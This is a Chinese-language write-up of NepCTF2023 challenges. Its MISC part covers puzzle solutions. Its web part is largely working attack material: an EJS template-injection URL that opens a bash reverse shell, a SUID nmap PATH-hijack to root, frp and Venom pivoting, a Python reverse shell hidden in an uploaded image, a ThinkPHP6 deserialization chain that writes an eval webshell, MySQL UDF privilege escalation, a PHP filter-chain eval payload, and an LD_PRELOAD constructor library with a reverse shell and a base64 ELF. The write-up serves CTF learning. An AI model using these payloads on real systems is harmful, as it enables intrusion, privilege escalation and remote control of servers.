文章目录
- 【NepCTF2023】复现
- MISC
- 与AI共舞的哈夫曼
- codes
- c语言获取环境变量
- 小叮弹钢琴
- 陌生的语言
- 你也喜欢三月七么
- Ez_BASIC_II
- misc参考
- WEB
- ez_java_checkin
- Post Crad For You
- 独步天下配置环境
- 独步天下-镜花水月
- 环境变量提权
- 独步天下-破除虚妄
- 总结
- 独步天下-破除试炼_加冕成王
- 知识点
- Ez_include
- 法一：劫持LD_PRELOAD绕过disable_functions
- 知识点
- 法二：GCONV绕过disable_functions
- web参考：
【NepCTF2023】复现
MISC
与AI共舞的哈夫曼
年轻人就要年轻，正经人谁自己写代码啊~
直接用gpt写出decompress()：
def decompress(input_file, output_file):with open(input_file, 'rb') as f:# Read frequency informationnum_symbols = ord(f.read(1))frequencies = {}for _ in range(num_symbols):byte, freq_bytes = f.read(1)[0], f.read(4)freq = (freq_bytes[0] << 24) | (freq_bytes[1] << 16) | (freq_bytes[2] << 8) | freq_bytes[3]frequencies[byte] = freq# Rebuild Huffman treeroot = build_huffman_tree(frequencies)# Read compressed datacompressed_data = f.read()bit_string = ''.join(format(byte, '08b') for byte in compressed_data)current_node = rootdecompressed_data = []for bit in bit_string:if bit == '0':current_node = current_node.leftelse:current_node = current_node.rightif current_node.char is not None:decompressed_data.append(current_node.char)current_node = rootwith open(output_file, 'wb') as f:f.write(bytes(decompressed_data))
codes
你很会写代码吗，你会写有什么用！出来混 讲的是皮 tips:flag格式为Nepctf{},flag存在环境变量
进去之后，里面是一个c语言的解释器，需要我们获得环境变量
经过测试，把一些简单的命令执行函数以及关键字给禁用掉了，没办法经过命令执行获取环境变量
c语言获取环境变量
https://blog.csdn.net/aspnet_lyc/article/details/20548767
在c中，main函数的前两个参数argc, argv被很多人熟悉，但main函数还有第三个参数------arge。
main的第三个参数里存的是系统变量,所以可以通过这个参数获得系统环境变量
#include <stdio.h>int main(int argc, char** argv, char** arge)
{while(*arge){printf("%s\n", *arge++);}return 0;
}
小叮弹钢琴
下载获得一个mid音乐文件，我们使用Audacity打开：
放大之后会发现，前面一段是莫斯密码，后面一段是16进制数
摩斯电码解密：
-.-- --- ..- ... .... --- ..- .-.. -.. ..- ... . - .... .. ... - --- -..- --- .-. ... --- -- . - .... .. -. --.youshouldusethistoxorsomething
你应该与一些东西异或，很明显，我们把16进制提出来之后与他异或：
0x370a05303c290e045005031c2b1858473a5f052117032c39230f005d1e17
陌生的语言
A同学在回学校的路上捡到了一张纸条，你能帮帮她吗？
flag格式：NepCTF{XX_XX}
hint：A同学的英文名为“Atsuko Kagari”
hint:flag格式请选手根据自身语感自行添加下划线
给了hint：Atsuko Kagari
我们直接搜索一下：
然后知道了这是一个动画：小魔女学园，然后找到了这是新月文字
百度贴吧找到对照：
HEARTISYOURMAGIC
NEPNEPABELIEVING
凭语感拼接起来：
NepCTF{NEPNEP_A_BELIEVING_HEART_IS_YOUR_MAGIC}
你也喜欢三月七么
三月七：耶，终于来到Nepnep星球啦，让我看看正在火热进行的Hacker夺旗大赛群聊。啊！开拓者，这群名看起来怪怪的诶。 （伸出脑袋，凑近群名，轻轻的闻了一下）哇，好咸诶，开拓者你快来看看！
开拓者（U_id）：(端着下巴，磨蹭了一下，眼神若有所思）这好像需要经过啥256处理一下才能得到我们需要的关键。
三月七：那我们快想想怎么解开这个谜题！
flag格式:NepCTF{+m+}
hint:URL为压缩包密码
txt文件：
salt_lenth= 10
key_lenth= 16
iv= 88219bdee9c396eca3c637c0ea436058 #原始iv转hex的值
ciphertext= b700ae6d0cc979a4401f3dd440bf9703b292b57b6a16b79ade01af58025707fbc29941105d7f50f2657cf7eac735a800ecccdfd42bf6c6ce3b00c8734bf500c819e99e074f481dbece626ccc2f6e0562a81fe84e5dd9750f5a0bb7c20460577547d3255ba636402d6db8777e0c5a429d07a821bf7f9e0186e591dfcfb3bfedfc
这里根据题目描述：群名很咸，推出salt（长度为10）：NepCTF2023
经过啥256处理一下才能得到我们需要的关键：推出sha256后得到key(关键)
猜测我们对NepCTF2023经过sha256后可以得到key ，取出前32位：
dd8e671df3882c5be6423cd030bd7cb6
然后AES解密=>hex解密=>base64解密：
https://img1.imgtp.com/2023/07/24/yOkXWSJT.png
星穹铁道文字：
翻译一下：
NepCTF{HRP_always_likes_March_7th}
Ez_BASIC_II
穿越回 1977 年的 Lemon 赶上了世界上第一批大规模生产的个人电脑发售。经过数月努力他终于拥有了一台计算机。他迫不及待地将自己编写的 BASIC 程序分享给了 H3，但由于 Lemon 对 BASIC 语言不熟悉导致他写错了代码段。数月后他带着装有程序的磁带回到了21世纪，但你能帮他还原磁带中的程序吗？
下载后得到一个录音文件
我们查询一下：世界上第一批大规模生产的个人电脑发售
TRS-80电脑
找一个在线网站解析磁带（cassette）：https://www.my-trs-80.com/cassette/
把ascii提出来
res = '''
.........
... °°...
..º...½..
..¿......
..«´°°...
.........
.........
.. .°°...
..ª...½..
..ª...¿..
..ªµ°¸...
..ª......
....°°...
..¨......
..¿......
..¿......
...½°°¸..
.........
..°°°°°..
....¿....
....¿....
....¿....
.........
'''
res = res.split('\n')
for i in res:for j in range(len(i)):if(i[j] != '.'):print('A',end='')continueprint(' ',end='')print()
misc参考
https://zysgmzb.club/index.php/archives/262
https://blog.csdn.net/jyttttttt/article/details/132273970
WEB
ez_java_checkin
shiro反序列化，使用工具一把梭：https://github.com/j1anFen/shiro_attack
find提权
Post Crad For You
噢我的老伙计，这张明信片应该交给你! （明信片样式由ChatGPT生成）
傻逼题啊，根本成功不了
题目给了源码：
var path = require('path');
const fs = require('fs');
const crypto = require("crypto");const express = require('express')
const app = express()
const port = 3000templateDir = path.join(__dirname, 'template');
app.set('view engine', 'ejs');
app.set('template', templateDir);function sleep(milliSeconds){ var StartTime =new Date().getTime(); let i = 0;while (new Date().getTime() <StartTime+milliSeconds);}app.get('/', function(req, res) {return res.sendFile('./index.html', {root: __dirname});
});app.get('/create', function(req, res) {let uuid;let name = req.query.name ?? '';let address = req.query.address ?? '';let message = req.query.message ?? '';do {uuid = crypto.randomUUID();} while (fs.existsSync(`${templateDir}/${uuid}.ejs`))try {if (name != '' && address != '' && message != '') {let source = ["source", "source1", "source2", "source3"].sort(function(){return 0.5 - Math.random();})fs.readFile(source[0]+".html", 'utf8',function(err, pageContent){fs.writeFileSync(`${templateDir}/${uuid}.ejs`, pageContent.replace(/--ID--/g, uuid.replace(/-/g, "")));sleep(2000);})} else {res.status(500).send("Params `name` or `address` or `message` empty");return;}} catch(err) {res.status(500).send("Failed to write file");return;}return res.redirect(`/page?pageid=${uuid}&name=${name}&address=${address}&message=${message}`);
});app.get('/page', (req,res) => {let id = req.query.pageidif (!/^[0-9A-F]{8}-[0-9A-F]{4}-[4][0-9A-F]{3}-[89AB][0-9A-F]{3}-[0-9A-F]{12}$/i.test(id) || !fs.existsSync(`${templateDir}/${id}.ejs`)) {res.status(404).send("Sorry, no such id")return;}res.render(`${templateDir}/${id}.ejs`, req.query);
})app.listen(port, () => {console.log(`App listening on port ${port}`)
})
仔细阅读一下，就知道使用了ejs模板引擎，并且在/page路由中没有对req.query过滤，造成了ejs模板注入
网上是有cve的，
在url后加入：
&settings[view options][escapeFunction]=console.log;this.global.process.mainModule.require('child_process').execSync("bash%20-c%20'bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fip%2F9996%20%3C%261'");&settings[view options][client]=true
像这样：
http://nepctf.1cepeak.cn:30398/page?pageid=7416e7e5-a180-4963-87cd-2900836a378c&name=1&address=2&message=1232&settings[view options][escapeFunction]=console.log;this.global.process.mainModule.require('child_process').execSync("bash%20-c%20'bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2Fip%2F9996%20%3C%261'");&settings[view options][client]=true
然后反弹shell拿flag
独步天下配置环境
之前一直报错，不解析清华源，好像是本地dns的问题，折腾了好久终于可以了
我们直接docker-compose up -d启动，然后docker ps查看一下：
发现是映射到了8888端口，结果访问不上。
于是使用：
docker container inspect id号
查看一下容器信息：
发现ip地址是172.24.0.2 端口8888，于是nc就可以连接上去了
但是发现在外面的主机连不上，于是做一下反向代理：
kali做客户端：
# frpc.ini
[common]
server_addr = 192.168.1.102 # win ip
server_port = 7000[ssh]
type = tcp
local_ip = 172.24.0.2
local_port = 8888
remote_port = 6000 # 映射到win6000端口
win做服务端：
# frps.ini
[common]
bind_port = 7000
然后nc 192.168.1.102 6000就可以连上了
独步天下-镜花水月
渗透组合套题
hint：环境变量提权
根据hint，学习了一手环境变量提权
环境变量提权
https://xz.aliyun.com/t/2767
我们查找到唯一的具有suid权限的文件：nmap
/ $ ls -al /bin/nmap
ls -al /bin/nmap
-rwsr-xr-x 1 root root 931712 Jul 17 09:46 /bin/nmap
执行一下nmap，发现nmap会调用ports-alive文件
/bin $ nmap 123
nmap 123
sh: ports-alive: not found
于是我们在/tmp目录下，将/bin/sh写入ports-alive，并且将/tmp加入环境变量：
cd /tmp
echo "/bin/sh" > ports-alive
chmod +x ports-alive
export PATH=/tmp:$PATH
接着返回/bin目录，运行一下nmap，这时由于它会去调用ports-alive，所以先去环境变量中找到了/tmp目录下的ports-alive，结果执行了/bin/sh，获得root权限，然后查看flag即可
/bin $ ./nmap 123
./nmap 123
/bin # whoami
whoami
root # 提权到root
/bin # cat /flag
cat /flag
flag{Everything_is_illusory}
独步天下-破除虚妄
独步天下第一层请nc连接，破除虚妄是第二层对应的flag是flag_mini里的flag
hint：ports-alive 修正后扫描网段 （ip范围0到100）用基础get包探测获取html
hint：echo -e “GET / HTTP/1.1\r\nHost: 192.168.200.1\r\n\r\n” | nc xx xx
我们在前面获取root权限之后，我们可以使用wget命令从服务器上下载文件，例如：fscan、frpc
我们经过扫描，得到了一个内网ip：192.168.200.1
但是我们访问不到它，我们使用frp进行反向代理，将其代理到我们自己的服务器上：
[common]
server_addr = ip
server_port = 10001[ssh]
type = tcp
local_ip = 192.168.200.1
local_port = 80
remote_port = 10002 # 转发到vps的10002端口
然后在命令行运行：
./frpc -c frpc.ini &
服务器运行：
./frps -c frps.ini &
然后我们访问服务器的10002端口，成功反向代理
其实可以不用这么麻烦。。
我们观察一下
docker container inspect 668dd14f5748
这个docker容器将172.24.0.2:8888端口映射到了本机的32768端口上，我们再查看一下kali的ip：192.168.56.129
于是直接：nc 192.168.56.129 32768就可以连上了
然后常规操作，提权：
cd /tmp
echo "/bin/sh" > ports-alive
chmod +x ports-alive
export PATH=/tmp:$PATH
cd /bin
nmap 123
然后我们可以使用wget命令从服务器上下载一个fscan用来内网探测：
wget http://ip:port/fscan_amd64
mv fscan_amd64 fscan
chmod +x fscan
测到一台内网主机：192.168.200.1
然后我们是没有办法直接访问的，因为，这是在docker容器中的内网。
经过测试，我们发现可以出网，于是我们可以搞一个socks5代理，这里我们选择Venom
先使用wget从服务器上下载：agent_linux_x64
然后运行它：
./agent_linux_x64 -rhost ip -rport 1080
服务器端监听：
./admin -lport 1080
接下来我们选择连接上的节点1，然后使用socks 10002为10002端口做一个socks5代理
接着使用proxifier代理一下：
先添加一个解析服务器，填上自己的服务器ip和port
然后配置一下解析规则：
将访问192.168.200.1的请求都通过服务器的socks5代理过去
然后直接浏览器访问就行了：
我们发现这个ping可能存在命令执行，于是抓个包，然后使用%0a分隔：
flag在根目录下，但是没有权限去读
我们发现/app/app.py文件：
from flask import Flask, render_template, request, url_for, redirect
import os
import ctypes
import ctypes.util
import time
os.environ['FLASK_ENV'] = 'production'
app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = './'lib_name='./libping.so'
def load_ping_library():# 加载共享库mylib = ctypes.CDLL(lib_name)return mylibmylib = load_ping_library()@app.route('/')
def index():return render_template('index.html')@app.route('/ping', methods=['POST'])
def ping():global mylibip_address = request.form['ip_address']result = ctypes.create_string_buffer(4096*2)mylib.ping(ip_address.encode('utf-8'), result)return result.value.decode('utf-8')@app.route('/upload_avatar', methods=['POST'])
def upload_avatar():if request.headers.get('X-Forwarded-For') != '127.0.0.1':return "You are not allowed to upload files from this IP address." + " Your IP is: " + request.headers.get('X-Forwarded-For')if 'file' not in request.files:return redirect(request.url)file = request.files['file']if file.filename == '':return redirect(request.url)if not allowed_file(file.filename):return 'Invalid file format. Only PNG files are allowed.'# 限制文件大小为 5KBMAX_FILE_SIZE = 5 * 1024if len(file.read()) > MAX_FILE_SIZE:return 'File too large. Maximum size is 5KB.'# 将文件保存到服务器file.seek(0) # 重置文件读取指针file.save(os.path.join(app.config['UPLOAD_FOLDER'], 'avatar.png'))return redirect(url_for('index'))def allowed_file(filename):return '.' in filename and filename.rsplit('.', 1)[1].lower() == 'png'if __name__ == '__main__':app.run(host='0.0.0.0',port=82,debug=False,use_reloader=False)
这个上传文件的地方没有对文件的内容做出任何过滤
于是我们可以在上传的图片中反弹shell：
import os
os.popen("bash -c 'bash -i >& /dev/tcp/ip/7788 0>&1'").read()
上传：（注意图片会检查xff）
然后可以使用python3命令执行：
成功反弹shell：
然后查看一下可疑进程：ps -ef
查看一下这个文件：identity.c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <string.h>
#include <errno.h>
#include <sched.h>
#include <unistd.h>
#include <sys/syscall.h>
#include <linux/seccomp.h>
#include <openssl/md5.h>
#include <sys/resource.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <string.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdint.h>
//gcc -o test1 test1.c -lcrypto -lm -lrt
void init_dir() {int fd=open("/home/ctf/sandbox/",O_RDONLY);if(fd<2) {exit(0);}MD5_CTX ctx;char md5_res[17]="";char key[100]="NEPCTF_6666";char sandbox_dir[100]="/home/ctf/sandbox/";char dir_name[100]="/home/ctf/sandbox/";FILE *new_pip;int i;setbuf(stdin, NULL);setbuf(stdout, NULL);setbuf(stderr, NULL);struct rlimit r;r.rlim_max = r.rlim_cur = 0;setrlimit(RLIMIT_CORE, &r);memset(key, 0, sizeof(key));MD5_Init(&ctx);MD5_Update(&ctx, key, strlen(key));MD5_Final(md5_res, &ctx);for (int i = 0; i < 16; i++) sprintf(&(dir_name[i*2 + 18]), "%02hhx", md5_res[i]&0xff);char cmd[100];mkdir(dir_name, 0755);if (chdir(dir_name)==-1) {puts("chdir err, exiting\n");exit(1);}sprintf(cmd,"%s%s","chmod 777 ",dir_name);system(cmd);mkdir("bin", 0777);mkdir("lib", 0777);mkdir("lib64", 0777);mkdir("lib/x86_64-linux-gnu", 0777);system("cp /bin/bash bin/sh");system("cp /lib/x86_64-linux-gnu/libdl.so.2 lib/x86_64-linux-gnu/");system("cp /lib/x86_64-linux-gnu/libc.so.6 lib/x86_64-linux-gnu/");system("cp /lib/x86_64-linux-gnu/libtinfo.so.5 lib/x86_64-linux-gnu/");system("cp /lib64/ld-linux-x86-64.so.2 lib64/");if (chroot(".") == -1) {puts("chroot err, exiting\n");exit(1);}
}
void command(int server_socket,int client_socket) {char buf[0x666];memset(buf,0,0x666);write(client_socket,"Tmp-Command:",sizeof("Tmp-Command:"));read(client_socket, buf, 0x10);setgid(1001);setuid(1001);popen(buf,"w");
}
int get_ip_address(const char *interface_name, char *ip_address) {int sockfd;struct ifreq ifr;// Create a socketsockfd = socket(AF_INET, SOCK_DGRAM, 0);if (sockfd < 0) {perror("Socket creation failed");return -1;}// Set the interface name in the ifreq structurestrncpy(ifr.ifr_name, interface_name, IFNAMSIZ - 1);ifr.ifr_name[IFNAMSIZ - 1] = '\0';// Get the IP address using the SIOCGIFADDR ioctl requestif (ioctl(sockfd, SIOCGIFADDR, &ifr) == -1) {perror("ioctl failed");close(sockfd);return -1;}close(sockfd);// Convert the binary IP address to a human-readable stringstruct sockaddr_in *addr = (struct sockaddr_in *)&ifr.ifr_addr;strcpy(ip_address, inet_ntoa(addr->sin_addr));return 0;
}
int main(int argc, char **argv) {init_dir();int flag=1;// Server setupint server_socket, client_socket;struct sockaddr_in server_addr, client_addr;socklen_t client_len = sizeof(client_addr);// Create socketserver_socket = socket(AF_INET, SOCK_STREAM, 0);if (server_socket < 0) {perror("Socket creation failed");exit(0);}// Set up server addressmemset(&server_addr, 0, sizeof(server_addr));server_addr.sin_family = AF_INET;server_addr.sin_addr.s_addr = INADDR_ANY;server_addr.sin_port = htons(9999);// Bind socket to address and portif (bind(server_socket, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) {perror("Bind failed");exit(0);}// Listen for incoming connectionsif (listen(server_socket, 1) < 0) {perror("Listen failed");exit(0);}printf("Server is listening on port 9999...\n");// Accept connection from clientclient_socket = accept(server_socket, (struct sockaddr *)&client_addr, &client_len);if (client_socket < 0) {client_socket = accept(server_socket, (struct sockaddr *)&client_addr, &client_len);}char client_ip[INET_ADDRSTRLEN];inet_ntop(AF_INET, &client_addr.sin_addr, client_ip, INET_ADDRSTRLEN);printf("Client connected from IP: %s\n", client_ip);char ip_address[INET_ADDRSTRLEN];const char *interface_name = "eth0";if (get_ip_address(interface_name, ip_address) == 0) {printf("IP address of eth0: %s\n", ip_address);} else {printf("Failed to get the IP address of eth0.\n");}while(flag) {if(strcmp(client_ip,ip_address)) {send(client_socket,"Only nc by localhost!\n",sizeof("Only nc by localhost!\n"),0);exit(0);} else {flag=0;}}command(server_socket,client_socket);return 0;
}
这里不懂，
这一部分的文件描述符并没有关闭，文件流也没关闭，因此是可以连接父进程的，
openat、fschmod这两个内置函数
然后写一个这种c脚本：
#include <fcntl.h>
#include <sys/stat.h>
#include <unistd.h>
#include <stdio.h>int main() {const char* filename = "../../../../flag_mini";int fd = openat(3, filename, O_CREAT | O_WRONLY);if (fd == -1) {// 处理打开文件失败的情况printf("1");}// 更改文件权限为 777if (fchmod(fd, S_IRWXU | S_IRWXG | S_IRWXO) == -1) {// 处理更改文件权限失败的情况printf("2");}// 使用新文件进行操作...return 0;
}
我们可以自行编译这个c文件，然后nc进identity以ctf用户运行，这样就可以更改flag_mini的权限为777，我们就可以读取
我们可以通过base64的形式写进去：
echo I2luY2x1ZGUgPGZjbnRsLmg+CiNpbmNsdWRlIDxzeXMvc3RhdC5oPgojaW5jbHVkZSA8dW5pc3RkLmg+CiNpbmNsdWRlIDxzdGRpby5oPgoKaW50IG1haW4oKSB7CiAgICBjb25zdCBjaGFyKiBmaWxlbmFtZSA9ICIuLi8uLi8uLi8uLi9mbGFnX21pbmkiOwogICAgaW50IGZkID0gb3BlbmF0KDMsIGZpbGVuYW1lLCBPX0NSRUFUIHwgT19XUk9OTFkpOwogICAgaWYgKGZkID09IC0xKSB7CiAgICAgICAgLy8g5aSE55CG5omT5byA5paH5Lu25aSx6LSl55qE5oOF5Ya1CiAgICAgICAgcHJpbnRmKCIxIik7CiAgICB9CgogICAgLy8g5pu05pS55paH5Lu25p2D6ZmQ5Li6IDc3NwogICAgaWYgKGZjaG1vZChmZCwgU19JUldYVSB8IFNfSVJXWEcgfCBTX0lSV1hPKSA9PSAtMSkgewogICAgICAgIC8vIOWkhOeQhuabtOaUueaWh+S7tuadg+mZkOWksei0peeahOaDheWGtQogICAgICAgIHByaW50ZigiMiIpOwogICAgfQoKICAgIC8vIOS9v+eUqOaWsOaWh+S7tui/m+ihjOaTjeS9nC4uLgoKICAgIHJldHVybiAwOwp9|base64 -d >poc.c
使用gcc编译一下：
gcc poc.c -o poc
然后切换到：/home/ctf/sandbox/d41d8cd98f00b204e9800998ecf8427e
执行nc，我们查看一下ip：
我们需要连接它的9999端口（identity文件规定了）
然后我们读flag
总结
复现完这题学到了很多关于内网中代理等知识，学到了venom工具构造socks5代理，
使用proxifier工具来内网穿透，这个工具可以让本机在访问指定ip时都走代理，可以实现访问内网，不需要类似于：proxychains的方式打开工具，有点像给系统加了一个代理
独步天下-破除试炼_加冕成王
在http://192.168.200.1/index.php有一个web服务：
是一个ZengCMS，这个cms存在漏洞：
我们下载源码，用seay审计一下，搜索一下：unser:
查看一下这个文件：
我们发现cookie会被反序列化，并且我们前面看到了这个cms是基于Thinkphp6.0.x的
我们可以找一条基于thinkphp6的链子
但是这个cookie会经过think_decrypt()函数解密一下
所以我们的cookie需要先通过：think_encrypt()加密一下
function think_encrypt($string, $key = '', $expiry = 0)
{// 动态密匙长度，相同的明文会生成不同密文就是依靠动态密匙$ckey_length = 0;// 密匙$key = sha1(md5(empty($key) ? get_one_cache_config('WEB_DATA_AUTH_KEY') : $key));// 密匙a会参与加解密$keya = sha1(md5(substr($key, 0, 16)));// 密匙b会用来做数据完整性验证$keyb = sha1(md5(substr($key, 16, 16)));// 密匙c用于变化生成的密文$keyc = $ckey_length ? substr(md5(microtime()), -$ckey_length) : '';// 参与运算的密匙$cryptkey = $keya . md5($keya . $keyc);$key_length = strlen($cryptkey);// 明文，前10位用来保存时间戳，解密时验证数据有效性，10到26位用来保存$keyb(密匙b)，解密时会通过这个密匙验证数据完整性// 如果是解码的话，会从第$ckey_length位开始，因为密文前$ckey_length位保存 动态密匙，以保证解密正确$string = sprintf('%010d', $expiry ? $expiry + time() : 0) . substr(md5($string . $keyb), 0, 16) . $string;$string_length = strlen($string);$result = '';$box = range(0, 255);$rndkey = array();// 产生密匙簿for ($i = 0; $i <= 255; $i++) {$rndkey[$i] = ord($cryptkey[$i % $key_length]);}// 用固定的算法，打乱密匙簿，增加随机性，好像很复杂，实际上对并不会增加密文的强度for ($j = $i = 0; $i < 256; $i++) {$j = ($j + $box[$i] + $rndkey[$i]) % 256;$tmp = $box[$i];$box[$i] = $box[$j];$box[$j] = $tmp;}// 核心加解密部分for ($a = $j = $i = 0; $i < $string_length; $i++) {$a = ($a + 1) % 256;$j = ($j + $box[$a]) % 256;$tmp = $box[$a];$box[$a] = $box[$j];$box[$j] = $tmp;// 从密匙簿得出密匙进行异或，再转成字符$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));}return $keyc . str_replace(array('+', '/', '='), array('-', '_', ''), base64_encode($result));
}
有点小麻烦，我们可以直接搭建一个，然后调用这个函数即可：
我们在首页弹出一个加密后的cookie：
加密脚本如下：
<?php
namespace League\Flysystem\Cached\Storage{use League\Flysystem\Filesystem;abstract class AbstractCache{protected $autosave = false;}class Adapter extends AbstractCache{protected $adapter;protected $file;public function __construct(){$this->complete = "*/<?php phpinfo();eval(\$_POST[1]);?>";$this->expire = "yydsy4";$this->adapter = new \League\Flysystem\Adapter\Local();$this->file = "pop.php";}}
}namespace League\Flysystem\Adapter{class Local extends AbstractAdapter{}abstract class AbstractAdapter{protected $pathPrefix;public function __construct(){$this->pathPrefix = "./";}}
}
namespace {use League\Flysystem\Cached\Storage\Adapter;$a = new Adapter();echo base64_encode(serialize($a));
}
脚本在根目录写一个木马
嫌麻烦我就不搞了，手动在根目录加pop.php
蚁剑连接：
第二个flag是mysql用户的
查看一下数据库信息：
发现了数据库root权限的账号密码，但是我们当前的用户只是www-data权限而已，想要读flag是不可能的，所以我们需要使用UDF提权
UDF（User-Defined Function）提权指的是通过在MySQL数据库中编写自定义函数（UDF）的方式，实现在MySQL数据库中提升权限的方法
我们只需要写一个plugin进去，但是不能直接写进去，因为plugin目录没权限写:
但是由于当前我们有root权限的数据库用户，我们可以使用select into dumpfile的形式写入：
当以 root 用户身份执行
SELECT INTO DUMPFILE查询时，它将绕过文件权限检查，并允许将查询结果写入任何有效的文件路径中，即使该路径对 mysql 用户是无法写入的。请注意，使用 root 用户执行此操作需要格外小心，因为它会绕过一些安全限制。确保仅允许可信任的用户以 root 权限执行此操作，并且仅指定安全的文件路径。
mysql -uroot -p456456zxc+123666 -e "SELECT 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INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';"
在/tmp目录创建一个poc.sh，然后修改权限执行它，这时就会将udf.so文件写入/usr/lib/mysql/plugin/目录了（本来是没有权限的）
成功写入后就udf提权了：
mysql -uroot -p456456zxc+123666 -e 'create function sys_eval returns string soname "udf.so";'
mysql -uroot -p456456zxc+123666 -e 'select sys_eval("chmod 777 /flag");'
mysql -uroot -p456456zxc+123666 -e 'select sys_eval("cat /flag");'
md本地没用
知识点
要学学udf提权的知识
Ez_include
hint: 可以参考https://tttang.com/archive/1395/
看题貌似是一个文件包含
但是没法利用其他的，我们删掉后面的参数：
可以拿到源码，link参数后面会拼接一个.txt，这样一般的东西也利用不了
然后这里面会有一个LFI2RCE的知识点，可以通过文件包含来RCE：https://tttang.com/archive/1395/
可以在github上找到利用脚本：https://github.com/synacktiv/php_filter_chain_generator
python3 php_filter_chain_generator.py --chain "<?php eval($_POST[1]);?>"
这样就成功了：
但是查看一下disable_functions、disable_classes 把很多的函数和类给禁用了,还限制了open_basedir=/var/www/html:/tmp
所以我们需要想办法 php disable_function bypass
这里有文章：
https://www.tr0y.wang/2018/04/18/PHPDisalbedfunc/index.html#imagemagick-%E6%BC%8F%E6%B4%9E%E7%BB%95%E8%BF%87
https://xz.aliyun.com/t/4623#toc-6
法一：劫持LD_PRELOAD绕过disable_functions
LD_PRELOAD指定的动态链接库文件，会在其它文件调用之前先被调用
劫持步骤：
- 生成一个我们的恶意动态链接库文件
- 利用putenv设置LD_PRELOAD为我们的恶意动态链接库文件的路径
- 配合php的某个函数去触发我们的恶意动态链接库文件
- Getshell
这个php的函数很关键。可以使用mail、error_log等，但是这里被禁用了
我们还可以使用mb_send_mail()
它是mail()的包装函数，因此也可以进行劫持
我们需要先编写一个恶意poc.c文件：(用来反弹shell)
__attribute__语法格式为：__attribute__ ( ( attribute-list ) )
若函数被设定为constructor属性，则该函数会在main（）函数执行之前被自动的执行。类似的，若函数被设定为destructor属性，
则该函数会在main（）函数执行之后或者exit（）被调用后被自动的执行。例如下面的程序：
#include <stdio.h>
#include <unistd.h>
#include <stdio.h>
__attribute__ ((__constructor__)) void angel (void){unsetenv("LD_PRELOAD");system("bash -c 'bash -i >& /dev/tcp/vps/7788 0>&1'");
}
然后编译一下生成恶意动态链接程序poc.so：
gcc -c -fPIC poc.c -o poc
gcc --share poc -o poc.so
然后我们需要把这个文件给上传到服务器上去，并且使用putenv()函数重新设置LD_PRELOAD环境变量，最后使用mb_send_mail()调用恶意的函数进行反弹shell
但是这里有个问题，我们没权限上传文件，和写文件，相关函数被禁用了。
这里有一种方法是上传临时文件/tmp/phpxxx，然后使用scandir("glob:///tmp/php*")去模糊匹配的
还有另一种方法，使用php原生类DOMDocument写文件：
可以参考：https://longlone.top/%E5%AE%89%E5%85%A8/%E5%AE%89%E5%85%A8%E7%A0%94%E7%A9%B6/%E4%BB%BB%E6%84%8F%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E4%B8%8B%E7%9A%84php%E5%8E%9F%E7%94%9F%E7%B1%BB%E5%88%A9%E7%94%A8/#domdocument
1=$f="/tmp/poc.so";
$d=new DOMDocument();
$d->loadHTML("f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAAAAAAAAAAABAAAAAAAAAAEA1AAAAAAAAAAAAAEAAOAAJAEAAHAAbAAEAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA8AQAAAAAAADwBAAAAAAAAAAQAAAAAAAAAQAAAAUAAAAAEAAAAAAAAAAQAAAAAAAAABAAAAAAAABRAQAAAAAAAFEBAAAAAAAAABAAAAAAAAABAAAABAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAOwAAAAAAAAA7AAAAAAAAAAAEAAAAAAAAAEAAAAGAAAA8C0AAAAAAADwPQAAAAAAAPA9AAAAAAAAKAIAAAAAAAAwAgAAAAAAAAAQAAAAAAAAAgAAAAYAAAAILgAAAAAAAAg+AAAAAAAACD4AAAAAAADAAQAAAAAAAMABAAAAAAAACAAAAAAAAAAEAAAABAAAADgCAAAAAAAAOAIAAAAAAAA4AgAAAAAAACQAAAAAAAAAJAAAAAAAAAAEAAAAAAAAAFDldGQEAAAASCAAAAAAAABIIAAAAAAAAEggAAAAAAAAJAAAAAAAAAAkAAAAAAAAAAQAAAAAAAAAUeV0ZAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAABS5XRkBAAAAPAtAAAAAAAA8D0AAAAAAADwPQAAAAAAABACAAAAAAAAEAIAAAAAAAABAAAAAAAAAAQAAAAUAAAAAwAAAEdOVQAWvRCLmYtP8WTej0PB8Vlc97nMRgAAAAACAAAABwAAAAEAAAAGAAAAABAAAAAAAAIHAAAAAAAAAE1eGA8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAZAAAABIAAAAAAAAAAAAAAAAAAAAAAAAAAQAAACAAAAAAAAAAAAAAAAAAAAAAAAAAWwAAABIAAAAAAAAAAAAAAAAAAAAAAAAALAAAACAAAAAAAAAAAAAAAAAAAAAAAAAARgAAACIAAAAAAAAAAAAAAAAAAAAAAAAAVQAAABIADAAZEQAAAAAAAC8AAAAAAAAAAF9fZ21vbl9zdGFydF9fAF9JVE1fZGVyZWdpc3RlclRNQ2xvbmVUYWJsZQBfSVRNX3JlZ2lzdGVyVE1DbG9uZVRhYmxlAF9fY3hhX2ZpbmFsaXplAGFuZ2VsAHVuc2V0ZW52AHN5c3RlbQBsaWJjLnNvLjYAR0xJQkNfMi4yLjUAAAAAAQACAAEAAgABAAIAAQAAAAAAAAABAAEAawAAABAAAAAAAAAAdRppCQAAAgB1AAAAAAAAAPA9AAAAAAAACAAAAAAAAAAQEQAAAAAAAAA+AAAAAAAACAAAAAAAAADQEAAAAAAAABBAAAAAAAAACAAAAAAAAAAQQAAAAAAAAPg9AAAAAAAAAQAAAAcAAAAAAAAAAAAAAMg/AAAAAAAABgAAAAEAAAAAAAAAAAAAANA/AAAAAAAABgAAAAMAAAAAAAAAAAAAANg/AAAAAAAABg